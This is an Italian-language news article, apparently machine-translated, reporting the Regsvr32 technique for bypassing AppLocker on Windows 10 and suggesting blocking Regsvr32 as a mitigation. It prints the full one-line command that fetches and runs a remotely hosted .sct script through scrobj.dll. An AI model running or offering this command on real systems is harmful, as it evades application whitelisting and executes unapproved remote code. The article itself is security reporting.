Un ricercatore del Colorado che prende il nome, Casey Smith, ha scoperto che Regsvr32 può essere utilizzato per bypassare AppLocker su Windows 10 e questo è un grosso problema per gli utenti di computer, in particolare quelli in ambiente aziendale.

AppLocker è stato introdotto per la prima volta in Windows 7 e Windows Server 2008 R2. È progettato per consentire agli amministratori di specificare quale gruppo o utenti possono sfruttare alcune o tutte le applicazioni in base all'identità univoca dei file. Se sei una persona che tende ad usare AppLocker, dovrebbe essere noto che può essere utilizzato per creare determinate regole per consentire alle applicazioni di eseguirle o interromperle.

Per coloro che potrebbero non essere a conoscenza, Regvr32 può essere utilizzato per registrare e annullare la registrazione di DLL. Questo non è uno strumento con un clic visto che è un'utilità da riga di comando, quindi solo gli utenti di computer avanzati dovrebbero cercare di sfruttare ciò che ha da offrire.

Comprendiamo che utilizzando questa tecnica, non altera il registro del sistema informatico, il che rende difficile per gli amministratori sapere se sono state apportate modifiche.

regsvr32 / s / n / u /i:http://server/file.sct scrobj.dll

"La cosa sorprendente qui è che regsvr32 è già a conoscenza del proxy, usa TLS, segue i reindirizzamenti, ecc … E … Hai indovinato un binario MS predefinito firmato. Quindi, tutto ciò che devi fare è ospitare il tuo file.sct in una posizione che controlli ”, ha scritto Smith.

La tecnica sopra descritta non richiede privilegi di amministratore e non modifica il registro. Inoltre, gli script possono essere richiamati sia su HTTP che su HTTPS. Al momento, Microsoft non ha rilasciato una patch per questo piccolo problema, quindi l'unica opzione a questo punto è bloccare Regsvr32 tramite Windows Firewall.

È interessante notare che il gigante del software non ha ancora risposto a questo problema di sicurezza con il suo sistema operativo. Ora che è all'aperto, ci aspettiamo di sentire qualcosa dalla compagnia insieme ai discorsi su una patch futura.